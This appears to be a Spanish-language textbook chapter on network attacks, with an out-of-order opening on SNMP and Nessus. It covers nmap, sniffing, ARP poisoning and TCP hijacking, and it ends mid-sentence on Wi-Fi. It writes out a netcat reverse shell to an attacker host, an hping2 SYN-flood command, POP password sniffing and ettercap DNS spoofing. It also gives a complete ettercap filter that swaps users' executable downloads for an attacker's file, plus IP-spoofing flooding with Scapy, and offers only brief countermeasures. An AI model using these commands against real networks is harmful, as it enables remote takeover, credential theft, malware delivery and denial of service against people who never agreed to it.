Utilización de la suite snmp En Linux existe una suite de herramientas snmp llamada simplemente snmp que nos permitirá explorar la MIB de los agentes deseados. La herramienta snmpwalk de la suite snmp permite listar el contenido de la MIB en el nodo 1.3 (Org). snmpwalk -c public -v1 <dirección ip> 1.3 Podemos también usar la herramienta snmpget en un OID determinado. Afinando nuestra búsqueda, recuperaremos datos interesantes como los usuarios, los programas instalados, los puertos abiertos, etc. 3. Descubrimiento de fallos potenciales (escáneres de vulnerabilidades) a. Nessus Nessus [26-27] es una herramienta de seguridad informática propietaria. Sirve para detectar las debilidades potenciales o reales en las máquinas probadas. Incluye, entre otros:  Los servicios vulnerables a ataques que permiten la toma de control de la máquina, el acceso a información sensible (lectura de archivos confidenciales, por ejemplo) o denegaciones de servicio.  Los fallos de configuración (el relay de mensajería abierto, por ejemplo).  Los parches de seguridad no aplicados, que los fallos corregidos sean o no explotables en la configuración comprobada.  Las contraseñas por defecto, algunas contraseñas comunes, y la ausencia de contraseña en algunas cuentas de sistema. Nessus puede llamar al programa externo Hydra para atacar las contraseñas con ayuda de un diccionario.  Los servicios considerados débiles (se sugiere, por ejemplo, reemplazar Telnet por SSH).  Las denegaciones de servicio contra la pila TCP/IP. Nessus se divide en dos partes: nessusd, que es un demonio (servicio) que ejecuta las peticiones y que asegura la comunicación entre la víctima y un cliente nessus, y la aplicación que recupera los datos y muestra el resultado. Este desacople es clásico, el demonio se ejecuta con privilegios elevados (root) mientras que la interfaz gráfica, más compleja y vulnerable, se ejecuta con un usuario sin privilegios. La búsqueda de fallos se realiza con plug-ins; algunos están compilados en C pero la mayoría se programan con scripts NASL (Nessus Attack Scripting Language). La secuencia de operaciones es la siguiente:  Detección de máquinas encendidas en la red mediante ping_host.nasl.  Escaneo de puertos con uno de los cuatros escáneres de puertos internos, o mediante un escáner externo (como son amap o nmap), lo que se desaconseja por motivos de rendimiento.  Recuperación  Introducción  Las redes actuales se basan en normas que se remontan a los tiempos de cuando se creó Internet. Aunque estas normas hayan estado excepcionalmente bien pensadas, siempre existe la posibilidad de encontrar problemas que se puedan explotar. La aparición de nuevos soportes inalámbricos, como por ejemplo Wi- Fi, que se ha vuelto imprescindible en menos de 5 años, también deja abiertas brechas de seguridad.  Los fallos de red afectan tanto al usuario particular como a las grandes empresas del planeta. Este capítulo nos ayudará a comprender estos diferentes aspectos. Recordatorio de redes TCP/IP 1. Direccionamiento IP En Internet, y en las redes en general, cada ordenador se comunica con los demás mediante un número de identificación único: la dirección IP (Internet Protocol), esta dirección se compone de 4 números de 0 a 255, con el formato xxx.xxx.xxx.xxx Por ejemplo: 174.127.3.14 El espacio de direccionamiento se divide en dos: el direccionamiento público y el privado. Direccionamiento IP privado Cada empresa puede crear su red utilizando los rangos de direcciones siguientes: De 10.0.0.0 a 10.255.255.255 De 172.16.0.0 a 172.31.255.255 De 192.168.0.0 a 192.168.255.255 Direccionamiento IP público Las direcciones IP públicas están gestionadas por la ICANN. Este organismo asigna las direcciones IP. Las direcciones no incluidas en los rangos descritos anteriormente son públicas. 2. Cliente/Servidor Tener una dirección IP es interesante, pero ¿cómo intercambiar la información ahora que conocemos la dirección de un ordenador? La respuesta es mediante la arquitectura cliente(s)/servidor: El/los cliente(s) se conecta(n) a la dirección IP del servidor y se conecta(n) a un servicio: HTTP, FTP, POP por ejemplo. Existen dos tipos de conexiones:  TCP (Transmission Control Protocol): protocolo orientado a la conexión.  UDP (User Datagram Protocol): protocolo no orientado a la conexión. Los servicios se reparten entre los puertos 1 y 65535. A continuación se muestra una lista incompleta de los servicios más conocidos. Herramientas prácticas Este apartado reúne distintas utilidades con las que podemos construirnos una caja de herramientas, ya que son sencillas y prácticas y siempre está bien tenerlas a mano. Puerto Tipo Servicio 21 TCP FTP 22 TCP SSH 23 TCP TELNET 25 TCP SMTP 53 TCP/UDP DOMAIN 80 TCP HTTP 110 TCP POP3 143 TCP IMAP 443 TCP HTTPS 993 TCP IMAP over SSL 6667 TCP IRC 1. Información sobre sockets Netstat permite saber los servicios y puertos abiertos en su máquina, así como los diferentes estados de las conexiones. Ejecute netstat -a. Los estados:  ESTABLISHED: conexión establecida.  SYN_SENT & SYN_RECV: establecimeinto de conexión en proceso.  CLOSE: socket cerrado.  CLOSE_WAIT: socket a la espera de cerrarse.  LISTEN: el servicio está abierto para el puerto. lsof lista todos los archivos abiertos. Como todo en Linux son archivos, los sockets no son una excepción. lsof -ni tcp Lista todas las conexiones con el PID y el nombre del comando. Esta herramienta puede ser muy útil para saber qué programa abre sockets en su ordenador. 2. Escáner de puertos TCP Nmap es un escáner de puertos TCP. Esta utilidad indispensable permite escanear un host o una red para determinar si hay máquinas presentes, qué puertos están abiertos e incluso averiguar el sistema operativo de la máquina objetivo. Instalación de nmap en Debian: apt-get install nmap nmap -sP 192.168.0.1 Escanea todos los puertos de la dirección 192.168.0.1. nmap -sP 192.168.0.0/24 Escanea todos los puertos de las 254 direcciones de la red 192.168.0.0. nmap -sP 192.168.0.1-100 Escanea todos los puertos del rango de direcciones de 192.168.0.1 a 192.168.0.100. La opción -p permite probar un puerto TCP concreto. nmap -p 80 192.168.0.1-10 Permite saber qué máquina tiene abierto el puerto 80 de entre todas las direcciones IP de 192.168.0.1 a 10. La opción -O -osscan-guess permite encontrar el sistema operativo de la máquina que hemos seleccionado. 3. Netcat Netcat permite crear tanto un cliente como un servidor. Este programa permite realizar rápidamente un envío de archivos, crear una backdoor, ordenadores zombies y mucho más, sin necesidad de recurrir a un lenguaje. Un Telnet en dos líneas: las dos líneas siguientes permiten obtener el control remoto de un servidor mediante bash. En el servidor nc -l -p 5600 -e /bin/bash En el cliente nc localhost 5600 Reverse Telnet: las dos líneas siguientes permiten la toma de control remotamente de un equipo en una red privada conectada a Internet. En el servidor nc -l -p 666 En el cliente nc ipdelservidorpirata 666 -e /bin/bash El reverse Telnet permite realizar la toma de control de una máquina aunque no esté accesible directamente desde Internet (protegida por una subred o un cortafuegos). La restricción es que se tiene que dar a conocer "ipdelservidorpirata" que no es la dirección IP de la víctima, sino la del atacante. En la práctica, el atacante usará servidores ya pirateados para no divulgar su dirección IP real. cryptcat es un clon de netcat con funcionalidades de encriptación. 4. SSH SSH (Secure Shell) es el reemplazo de Telnet. Su protocolo seguro evita tener que mostrar información sensible como la contraseña. Un uso básico de SSH se reduce a conectarse de forma remota a una máquina de la manera siguiente: ssh root@miequipo 5. Túnel SSH Estamos en un punto de acceso que sólo permite acceder al puerto 80, sólo podemos ver páginas web. Es imposible leer nuestro correo, ir al IRC... Si nuestro servidor remoto tiene un puerto 80 abierto con SSH, se puede acceder y obtener el socket remoto en local. Tenemos un servidor Proxy instalado en el puerto 3128. ssh -L 3128:127.0.0.1:3128 root@miequiporemoto Con este comando, acabamos de crear un túnel SSH. En nuestra máquina local tenemos el puerto 3128 abierto, que es el servidor proxy remoto. Basta con configurar los clientes de correo, IRC... para que utilicen el proxy que tiene por dirección: 127.0.0.1:3128. Todas las comunicaciones por el puerto 3128 tienen como ventaja que son seguras gracias a SSH, por lo tanto es muy útil cuando se está en una red no segura. DoS y DDoS Un DoS (Denial of Service) es un ataque de denegación de servicio. El objetivo de una denegación de servicio es el de provocar una caída del servidor. El ataque por Syn flood es uno de los ataques más extendidos, consiste en solicitar conexiones y no responder, el servidor queda a la espera y reserva durante un tiempo parte de sus recursos a esta nueva conexión. El objetivo es enviar más solicitudes de conexión de las que pueda tratar en un intervalo de tiempo. El servidor no podrá satisfacer las necesidades de los clientes reales. He aquí un ejemplo sencillo de este tipo de ataque. La herramienta hping2 permite efectuar este tipo de ataques. Podemos instalarla mediante el comando apt-get install hping2. Ejemplo de tentativa de DoS al puerto 80 de la dirección IP: ipservidor hping2 ipservidor -I eth0 -q -i u1 -S --rand-source -p 80 & El DDoS (Distributed Denial of Service) es similar al DoS, pero el ataque se realiza desde varias máquinas. Un ataque DoS es fácil de contrarrestar. Basta con establecer una regla en el cortafuegos para bloquear la dirección IP del atacante. En el caso de un DDoS esto se complica enormemente. Sniffing Los sniffers, esnifadores de paquetes, son herramientas que sirven para obtener el conjunto de datos transmitidos a través de la red, de la capa 2 a la capa 7 del modelo OSI. Para escuchar el tráfico, será necesario configurar nuestra tarjeta de red en "modo promiscuo", este modo permite interceptar todo el tráfico de red, incluso paquetes de los que no somos destinatarios. Multitud de protocolos de red no encriptan los datos, por lo tanto es posible ver en claro las contraseñas de Telnet, POP, FTP... Pero también se pueden ver las páginas web visitadas o incluso las conversaciones MSN. Wireshark, conocido antiguamente como Ethereal, es un sniffer por software. Para instalar Wireshark en Debian: apt-get install wireshark Descargue los fuentes o el instalador para otros sistemas operativos desde su sitio web http://www.wireshark.org 1. Capturar datos con Wireshark Una vez se haya instalado, ejecute Wireshark con el usuario Root. Haga clic en Capture - Interface. Elija su interfaz de captura y haga clic en Start. Comienza la captura, en unos instantes se muestran gran cantidad de líneas, ¡estamos capturando paquetes! Seleccione una línea, se visualizarán las distintas capas, en general la capa de más arriba (7-Application) es la que más nos interesa. 2. Filtros Incluso en redes muy pequeñas, recibimos tal cantidad de paquetes que se vuelve imposible hacer un seguimiento sin perderse entre tanta información. Para reducir la cantidad de paquetes, vamos a mostrar sólo los que nos interesan. El campo Filter nos permite añadir filtros a la captura de paquetes. HTTP || FTP || Telnet Muestra todos los paquetes cuyo servicio es del tipo: HTTP, FTP o TELNET. tcp.port == 3306 Muestra todos los paquetes cuyo puerto de salida o destino es 3306. tcp.srcport == 3306 Muestra todos los paquetes cuyo puerto de origen es 3306 (puerto TCP de MySQL). tcp.dstport == 3306 Muestra todos los paquetes cuyo puerto de destino es 3306. ip.addr == 192.168.0.1 Muestra todos los paquetes cuya dirección IP de origen o destino es 192.168.0.1. Declinación posible: ip.src, ip.dst Operadores de comparación: Operadores lógicos: Ejemplo de filtro más complejo: ip.dst == 192.168.0.1 && (tcp.dstport == 3306 || tcp.dstport == 22) Búsqueda de paquetes con destino 192.168.0.1 en los puertos TCP: 3306 y 22. Ahora podemos probar la red. Ejecutamos Wireshark en un equipo y en otro ejecutamos por ejemplo un software de mensajería. Buscamos los paquetes, que contienen las contraseñas cuando los protocolos no se encriptan. He aquí una captura de pantalla que muestra cómo recuperar una contraseña POP. == Es igual a != No es igual a > Mayor que < Menor que >= Mayor o igual que <= Menor o igual que || O && Y ˆˆ O exclusivo ! Negación Sniffing de la contraseña POP En esta captura de pantalla, se puede observar:  La dirección IP del servidor POP: 213.186.33.20  El identificador: [email protected]  La contraseña: qwerty Encontrará más información sobre filtrado en la dirección: http://www.wireshark.org/docs/dfref/ TCPDump es otro sniffer interesante para msgsnarf y mailsnarf:  msgsnarf - captura mensajería instantánea  mailsnarf - captura correos electrónicos  dsniff - captura contraseñas  filesnarf - captura archivos en tráfico NFS  urlsnarf - captura peticiones HTTP Instalación de la suite completa dsniff en debian mediante el comando: apt-get install dsniff Utilización: msgsnarf -i wlan0 Reemplace wlan0 por su interfaz de red, escriba ifconfig en modo consola para saber cuál es Man In The Middle (MITM) 1. Teoría El ataque Man in The Middle (MITM), que en inglés significa Hombre en el Medio, es un ataque que utiliza como mínimo tres ordenadores. Siempre que dos ordenadores tengan establecida una comunicación, se puede colocar un tercero en medio haciendo de enlace entre ambos. Este tercer equipo se hace pasar por el del otro extremo interceptando y devolviendo las comunicaciones, a parte de poderlas modificar si lo desea. Principio del ataque Cada ordenador o router tiene una dirección MAC y cada entidad tiene una tabla ARP. Ésta almacena la relación dirección IP/dirección MAC de los ordenadores de la red. Podemos ver esta lista mediante el comando: arp -a Resultado: usuario@equipo:~$ arp -a nas-02-81-77.local (192.168.0.12) en 00:0d:a2:17:17:17 [ether] en eth0 ? (192.168.0.254) en 00:07:cb:00:00:00 [ether] en eth0 El ataque tiene como objetivo falsificar, en los ordenadores de la red, la relación dirección MAC/dirección IP para poder recibir y transmitir datos. Esto es posible gracias a la tabla ARP que almacena la asociación. 2. Práctica Ettercap es una suite de herramientas que permite esnifar (quedarse a la escucha en la red y obtener los datos) y guardar un log (registrar en un archivo los datos obtenidos). Permite efectuar ataques del tipo Man In The Middle. Instalación de ettercap-gtk en debian: apt-get install ettercap-gtk Ettercap tiene varios modos de funcionamiento. Para ejecutar Ettercap en modo gráfico, teclee ettercap -G. La interfaz gráfica es muy fácil de usar. Vamos a ver el modo consola. ettercap -i wlan0 -q -T -M arp:remota -P repoison_arp // //  ettercap [OPCIONES] [OBJETIVO1] [OBJETIVO2]  -i interfaz de escucha  -M tipo de ataque  -T interfaz de texto  -P Plug-ins  OBJETIVO1 IP de la víctima  OBJETIVO2 IP del router Ettercap en acción Para acceder al menú de Ettercap pulsemos la tecla h. Naveguemos por la Web con los ordenadores en la red, abramos nuestros clientes de FTP, de correo y ¡miremos el resultado en la consola Ettercap! Para salir de Ettercap correctamente, basta con apretar la tecla q. Ettercap enviará la verdadera dirección MAC de la pasarela a las víctimas. Configurar correctamente Ettercap Para beneficiarse de todas las funcionalidades de Ettercap, se debe modificar el archivo /etc/etter.conf. Hay que modificar los privilegios: [privs] ec_uid = 0 # nobody is the default ec_gid = 0 # nobody is the default En la sesión: # redir_command_on/off Active según el caso las líneas redir_command_on y redir_command_off. En Linux, estas reglas corresponden a la sesión: Linux > Iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" Ahora podemos realizar ataques SSL, SSH. Ejecute Ettercap y conéctese a un sitio web usando SSL, un nuevo certificado reemplaza el certificado SSL oficial. Si lo aceptamos, el ataque resulta satisfactorio y el pirata podrá ver los datos en claro. Tenga en cuenta que muchos usuarios aceptan los nuevos certificados sin la menor atención, incluso cuando éstos son autofirmados. Desde hace poco los navegadores Web ofrecen mensajes más informativos que antes. Las siguientes ilustraciones nos muestran las evoluciones de los mensajes informativos cuando los certificados SSL no son seguros. Antigua alerta de certificado no seguro en Firefox Antigua alerta de certificado no seguro en Internet Explorer Haga clic en el botón Sí y el certificado se aceptará. Los nuevos navegadores requieren un esfuerzo adicional para no validar certificados autofirmados: Nueva alerta de certificado no seguro en Firefox Nueva alerta de certificado no seguro en Internet Explorer Puede utilizar el certificado que quiera reemplazando el existente, que está disponible en: /usr/share/ettercap/etter.ssl.crt Tenga en cuenta que hay muchos sitios web en Internet que sólo tienen certificados autofirmados ya que este certificado autofirmado es gratuito. Una autoridad de confianza reconocida debe, normalmente, firmar los certificados, pero por falta de medios (dinero, tiempo), se llega al punto en que los certificados se dejan autofirmados en producción. La mayor parte de usuarios validan certificados sin llegar a comprender todas las sutilezas. a. Plug-ins Existe una gran cantidad de plug-ins interesantes que se pueden activar ya sea mediante el argumento -P, o pulsando p en la interfaz de consola. Autoadd: envenena a los nuevos equipos en la red. dns_spoof: sobrecarga el servidor de nombres. Edite el archivo /usr/share/ettercap/etter.dns y añada: *.microsoft.com A 81.80.245.20 Vuelva a iniciar Ettercap con el plug-in dns_spoof activado. Cuando se engaña a una víctima, se muestra el siguiente mensaje dns_spoof: [www.microsoft.com] spoofed to [81.80.245.20] El usuario que desee visualizar la página http://www.microsoft.com se verá redirigido al servidor www.ediciones-eni.com (dirección IP de ENI: 81.80.245.20). remote_browser: muestra en su navegador Web los sitios web visitados por los usuarios de la red. Isolate: aísla un ordenador de la red. Si el plug-in buscado no existe, se lo puede desarrollar uno mismo en C. Para hacerlo, Ettercap proporciona una plantilla llamada dummy. También podemos trabajar con los fuentes de otros plug-ins que permitirán comprender este mundo tan mal documentado que no pone límites a Ettercap. ¡Aunque los plug-ins son una fuente inagotable de extensión, los filtros que ya ofrece Ettercap son fáciles de aplicar y sirven en la gran mayoría de casos! b. Creación de un filtro Hay algunos ejemplos interesantes de filtros en /usr/share/ettercap/. Condiciones: if (CONDICIÓN) { } if (CONDICIÓN) { } else { } Operadores y funciones booleanas: if (ip.proto == TCP) # Si el paquete es TCP entonces if (tcp.src == 22 || tcp.dst == 22) # Si el puerto TCP origen o destino es el 22 entonces if (search(DECODED.data, "etter")) # Si existe etter en los datos if (regex(DECODED.data, ".*login.*")) # Si está la expresión regular ".*login.*", entonces Acciones: msg("Spoofed\n"); # Mostrar el mensaje "Spoofed" en la consola de ettercap log(DATA.data, "./logfile"); # Guardar los datos en el archivo logfile. inject("./fake_response"); #Inyecta en el paquete el archivo fake_response drop() # elimina el paquete tcp.dst -= 1 # decrementa el puerto TCP de destino. exec("./program"); # ejecuta un programa Esta base le permitirá, con las condiciones y acciones, generar de forma sencilla nuevas funcionalidades. Vamos a presentarle un ejemplo de filtro sencillo pero impresionante. Vamos a reemplazar todos los archivos .exe por un nuevo archivo .exe de nuestra elección. Cada vez que un usuario de la red vaya a descargar un archivo ejecutable por HTTP, interceptaremos su petición y notificaremos al navegador que el archivo ha cambiado de ubicación. # si se encuentra un paquete TCP con: aplicación, se solicita una petición. if (ip.proto == TCP && search(DATA.data, "WINDOWS") ) { log(DATA.data, "/tmp/mispelled_ettercap.log"); replace("WINDOWS", "LINUX"); msg("SUBSTITUTION 1 WINDOWS->LINUX\n"); } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # nota: reemplazo de string con la misma longitud que el original } } if (ip.proto == TCP && tcp.src == 80) { replace("keep-alive", "close" "); replace("Keep-Alive", "close" "); } if (ip.proto == TCP && search(DATA.data, "GET /install.exe HTTP/1.1") ){ msg("redirection--exe\n"); } if (ip.proto == TCP && search(DATA.data, ": application") ){ # solamente se redirige si la direccion IP no es la de nuestro servidor con el nuevo archivo ejecutable o si la IP es la del atacante. Esto evita bucles de redireccion. if (ip.src == ’ipservidorarchivoejecutable’ || ip.src == ’ipatacante’ || ip.dst == ’ipservidorarchivoejecutable’ || ip.dst == ’ipatacante’) { msg("Descarga de nuestro ejecutable en curso\n"); } else { # Si hay una solicitud de descarga de cualquier otro archivo que no sea el nuestro, informamos al navegador que el archivo se ha ubicado en la dirección: http://ipservidorarchivoejecutable/install.exe replace("200 OK", "301 Moved Permanently Location: http://ipservidorarchivoejecutable/install.exe "); } } Guarde este script en un archivo llamado etter.filter.exe. Para utilizar este script, en primer lugar lo vamos a compilar. Etterfilter -o etter_filter_exe etter.filter.exe Ettercap puede usar el archivo generado. Basta con utilizar la opción -F. ettercap -i wlan0 -q -T -M arp:remote -P repoison_arp // // -F /usr/share/ettercap/etter_filter_exe 3. Contramedidas Es fácil detectar un ataque MITM en la red. Basta con comprobar regularmente si se ha modificado la caché ARP del gateway. La utilidad arpwatch nos puede advertir por email si se producen este tipo de modificaciones. Para instalar arpwatch en debian hay que ejecutar el comando siguiente: apt-get install arpwatch Se puede contrarrestar este ataque con el uso de una tabla ARP estática. arp -s Esta técnica permite fijar las relaciones Mac/IP. Esto sólo es posible en redes de usuarios particulares. En grandes empresas, se puede recurrir a soluciones hardware tales como switches dotados de la funcionalidad Port Security. Robo de sesión TCP (HIJACKING) y Spoofing de IP Una vez descubierto el poisioning de la caché ARP, que forma parte de la capa 3 del modelo OSI, vamos a atacar ahora a la capa 4. La capa 4 del modelo OSI se llama capa de transporte, en esta capa podemos encontrar los protocolos UDP y TCP entre otros. Sería interesante tomar el control de una sesión TCP, por ejemplo, usurpar una sesión Telnet ya inicializada, o bloquear la comunicación del cliente real y enviar comandos. Todo esto incluso sin haber introducido el más mínimo login o la más mínima contraseña. El hijacking deja en evidencia a los métodos de conexión no cifrados por su baja seguridad, como pasa por ejemplo con Telnet. Peor todavía, el hijacking deja obsoletas todas las autentificaciones por dirección IP como RLOGIN. 1. El fallo: ACK/SEQ Establecer una sesión TCP requiere varias etapas que permiten asegurar el orden de transmisión de paquetes a lo largo del tiempo. Las etapas de establecimiento de una conexión TCP son las siguientes:  El cliente envía un paquete de solicitud de sincronización (SYN) que contiene un número de secuencia al que llamaremos SEQ-CLIENT.  El servidor retorna un paquete (SYN/ACK) que contiene el par ACK/SEQ:  ACK-SERVER, contiene el número de secuencia (SEQ-CLIENT+1) del paquete anterior del cliente.  SEQ-SERVER, generado por el servidor.  El cliente envía un ACK = (SEQ-SERVER+1), SEQ= ACK-SERVER = (SEQ- CLIENT+1). Una vez se establece la conexión, los números secuencia se van incrementando en función de los paquetes recibidos y enviados. Llegados a este punto nada nos impide crear un paquete TCP con la dirección IP del cliente y con el servidor como destino; éste se aceptará si el par ACK/SEQ es válido, según el servidor. En una red no conmutada o con un ataque de ARP poisioning, también es posible enviar y recibir paquetes con la máquina legítima como destino. El objetivo final es hacer IP spoofing, es decir, suplantar direcciones IP existentes o no. Sin embargo, para conseguirlo es necesario comprender el concepto de hijacking y dominar el arte de predecir el par ACK/SEQ. Por lo tanto es muy interesante tener la misma configuración que la máquina objetivo del ataque en la red local para comprender cómo se generan los ACK/SEQ siguiendo el servicio TCP y luego ser capaces de predecir este par en los futuros paquetes TCP. 2. Consecuencias del ataque Si el ataque tiene éxito, no hay ninguna consecuencia. En efecto, si ahora podemos comunicarnos con el servidor, el cliente legítimo no lo podrá hacer, ya que el par ACK/SEQ estará desincronizado con el del servidor. A esto se le llama ACK Storm, y tiene como resultado una comunicación infinita entre el cliente legítimo y el servidor. Ahora podemos reiniciar la conexión del cliente. O, una vez que ya no necesitamos la sesión TCP que hemos robado, también podemos resincronizar el cliente haciéndonos pasar por el servidor un lapso de tiempo para restablecer un valor correcto en el par ACK/SEQ. Esto evitará levantar sospechas respecto al robo de sesión. 3. Puesta en práctica Para nuestras pruebas, necesitaremos tener instalado un servidor Telnet en una máquina para estudiar su comportamiento y robar la sesión. El comando para instalar un servidor Telnet en Debian/Ubuntu es: apt-get install telnetd Ejecutamos WIRESHARK e iniciamos una sesión Telnet en local desde un PC mediante el comando: telnet ipservidor Después nos autentificamos. Para robar una sesión hay que conocer: la dirección IP del servidor, el puerto del servicio, la dirección IP del cliente, el puerto usado por el cliente y el par ACK/SEQ en un instante determinado. Sniffing del establecimiento de conexión Telnet mediante Wireshark Wireshark nos proporciona toda la información en la captura anterior:  IP del servidor: 192.168.0.20  Puerto del servidor: 23  IP del cliente: 192.168.0.22  Puerto del cliente: 1040 Las tres primeras líneas de la captura son las etapas de conexión: SYN, SYN ACK, ACK vistas anteriormente en este capítulo. Esta nueva captura de pantalla nos permitirá comprender cómo se incrementa SEQ/ACK. ACK = SEQ-ANTERIOR + Long, donde Long = tamaño de los datos Telnet. Ayudémonos de Google para encontrar el programa shijack, que a día de hoy ha dejado de mantenerse. Este pequeño programa escrito en C solamente ocupa unas pocas líneas y, sin embargo, ¡es perfectamente capaz de robar una sesión! El tamaño de su motor es de una treintena de líneas, además está muy bien escrito, lo que lo convierte en el candidato ideal para nuestras pruebas y futuras investigaciones. Ejecutamos shijack de la forma siguiente: ./shijack interfaz ipcliente puerto-cliente ipservidor puerto -servidor Pulsamos la tecla [Enter] en el cliente Telnet para enviar un paquete al servidor y que shijack obtenga el par ACK/SEQ. Podemos observar cómo recupera shijack un paquete y el par ACK/SEQ. A partir de este instante, tenemos el control de la sesión Telnet. Como comprobación, enviemos un comando. En la captura de pantalla hemos elegido echo 1 > /tmp/hijack. En la máquina servidor, se ha creado un nuevo archivo: /tmp/hijack con el contenido 1. 4. Automatizar el ataque Se pueden usar programas dedicados que harán todo el trabajo: sniffing, obtención de información como por ejemplo las direcciones IP, los puertos, los ACK/SEQ o realizar un poisioning de la caché ARP para establecer una sesión incluso sin resincronizar el cliente. Como estas herramientas no sirven para el aprendizaje, ya que solamente están diseñadas para un fin práctico, no les vamos a dedicar más tiempo. La más conocida y más sencilla de usar es sin lugar a dudas HUNT. También tenemos HJKSUITE, P.A.T.H y JUGGERNAUT. 5. Spoofing de dirección IP Nada nos impide aplicar la técnica anterior no para robar una sesión sino para crear una nueva, con una dirección IP que exista o no y (¿por qué no?) en la red de redes. En este caso, es imposible tener respuesta a una petición SYN. Por lo tanto es imposible recibir el número de secuencia SEQ que proviene del servidor (etapa 2 de una conexión TCP). Por consiguiente, hay que predecir este SEQ para devolverlo al servidor: etapa 3. De aquí la utilidad de analizar los protocolos tal y como lo hemos hecho. Sabemos que para Telnet, en la etapa 3 del establecimiento de una conexión TCP, el ACK = SEQ + 1. Sólo nos falta "forjar" los paquetes de las etapas 1 y 3 de inicialización de una conexión TCP Telnet. Para ello, utilizaremos Scapy, un software de manipulación de paquetes escrito en Python. Esta herramienta tiene la virtud de ser simple a la vez que potente. Puede generar paquetes y funcionar como un sniffer. Por sí mismo puede sustituir a todas las herramientas que hemos visto anteriormente en este capítulo. Para instalar Scapy: apt-get install python-scapy Este programa Python escrito especialmente para este libro es un ejemplo de IP spoofing con Scapy. Retomemos nuestras etapas de inicio de conexión TCP. Las etapas de establecimiento de una conexión TCP son las siguientes: 1 - El cliente envía un paquete de solicitud de sincronización (SYN) que contiene un número de secuencia al que llamaremos SEQ-CLIENT (líneas 14, 15 y 16 del programa). 2 - El servidor devuelve un paquete (SYN/ACK) que contiene un par ACK/SEQ:  ACK-SERVER contiene el número de secuencia (SEQ-CLIENT +1) del paquete cliente anterior.  SEQ-SERVER lo genera el servidor. (En nuestro caso no vamos a recibir el paquete, ya que la dirección IP no existe o no es la nuestra. Nuestro estudio de Telnet nos aporta esta información, ACK=SEQ+’1’ & SEQ=1.) 3 - El cliente envía un ACK = (SEQ-SERVER+1), SEQ= ACK-SERVER = (SEQ- CLIENT+1). (líneas de la 18 a la 24). Ejecutamos nuestro programa y observamos desde el lado del servidor Telnet. ./spoof.py ipServidorTelnet 23 81.80.245.20 24345 Para comprobar que se ha establecido la conexión, vamos a verificar en nuestro servidor de test. Netstat -t -a -n Modificamos nuestro programa para añadir un bucle y parejas (IP/puerto origen) aleatorias. Código fuente del mass Spoofer tcp/ip Ejecutamos nuestro programa y observamos lo que sucede en el lado servidor del Telnet. ./spoof.py ipServidorTelnet 81.80.245.20 24345 Netstat -t -a -n | grep :23 |grep ESTABLISHED | wc -l Netstat -t -a -n muestra las conexiones, que se reenvían a grep :23, que las filtra seleccionando cada línea que contiene :23. grep ESTABLISHED filtra solamente conexiones que están establecidas y wc -l cuenta el número de líneas. nauar@tulkass:~$ netstat -t -a -n Conexiones activas de Internet (servidores y establecidos) Proto Recib Enviad Dirección local Dirección remota Estado tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 12 192.168.0.20:23 81.80.245.20:24345 ESTABLISHED tcp6 0 0 ::1:631 :::* LISTEN El número de conexiones aumenta. Al cabo de un cierto tiempo, es imposible conectarse al Telnet. Si mostramos un netstat, vemos centenares de direcciones IP conectadas. tcp 0 0 192.168.0.20:23 157.26.114.197:4420 ESTABLISHED tcp 0 0 192.168.0.20:23 150.231.239.20:45461 ESTABLISHED tcp 0 0 192.168.0.20:23 136.63.124.197:37414 ESTABLISHED tcp 0 12 192.168.0.20:23 81.80.245.20:24345 ESTABLISHED tcp 0 0 192.168.0.20:23 162.126.14.61:27587 ESTABLISHED tcp 0 0 192.168.0.20:23 163.132.115.125:16874 ESTABLISHED tcp 0 0 192.168.0.20:23 163.56.7.166:28406 ESTABLISHED tcp 0 0 192.168.0.20:23 149.73.14.175:14527 ESTABLISHED tcp6 0 0 ::1:631 :::* LISTEN nauar@tulkass:~$ netstat -t -a -n | grep :23 | grep ESTABLISHED | wc - l 86 nauar@tulkass:~$ netstat -t -a -n | grep :23 | grep ESTABLISHED | wc - l 120 nauar@tulkass:~$ netstat -t -a -n | grep :23 | grep ESTABLISHED | wc - l 486 nauar@tulkass:~$ netstat -t -a -n | grep :23 | grep ESTABLISHED | wc - l Para este ataque, no tenemos la necesidad de adivinar el ACK ya que se obtiene en el programa spoof.py. En una red conmutada o Internet, el paquete no se devuelve. Por lo tanto, no recibimos el SEQ del servidor que nos permitirá calcular el nuevo ACK. Cambiemos la línea 18 del programa de spoof.py por: print "indique el SEQ Servidor" seqServidor = sys.stdin.readline() siguienteACK = int(seqServidor[ :-1]) Este código nos permitirá indicar el SEQ a mano; remplazamos también sr1 por send ya que no estamos preparados para recibir respuestas... Volvamos a ejecutar spoof.py, observamos a Wireshark desde el lado servidor buscando el SEQ y lo introducimos manualmente cuando el cliente lo solicite: indicamos el SEQ servidor. Si indicamos el SEQ correcto, se establece la conexión. Si intenta hacer esto en una red sin control, deberá poder encontrar este SEQ. La única forma de tener éxito con un ataque a ciegas del tipo: "tcp sequence prediction" es implementar la misma arquitectura en local, estudiar los paquetes, y a continuación generar muchos paquetes TCP cada vez con un ACK incrementado. El ACK se codifica con 4 bytes, lo que genera muchas combinaciones para hacer el ataque por "fuerza bruta", pero estudiando en local con Wireshark puede reducir considerablemente el número de paquetes que deberá crear, gracias sobretodo a la estadística. Se puede evaluar la dificultad del ataque a una víctima mediante nmap gracias a los parámetros -O -v. Para nuestro servidor: TCP Sequence Prediction: Difficulty=194 (Good luck!) Cuanto menor sea el valor de Difficulty, más fácil será perpetrar el ataque. Fallos Wi-Fi Hemos visto proliferar desde principios de la década del 2000 nuevos soportes inalámbricos para nuestras redes: el estándar Wi-Fi se ha impuesto. Las ondas no se detienen en las puertas ni en las ventanas, la seguridad en este tipo de redes se limita entonces al cifrado. ¡Imaginemos un fallo en este tipo de sistema! Sería necesario actualizar todo el parque de equipos para aceptar un nuevo sistema de cifrado, pero ¿qué pasa con el hardware? En algunos casos basta con actualizar el firmware, pero no siempre es posible. Muchas redes no tienen seguridad alguna, otras que tienen WEP (Wired Equivalent Privacy) pueden ser crackeadas 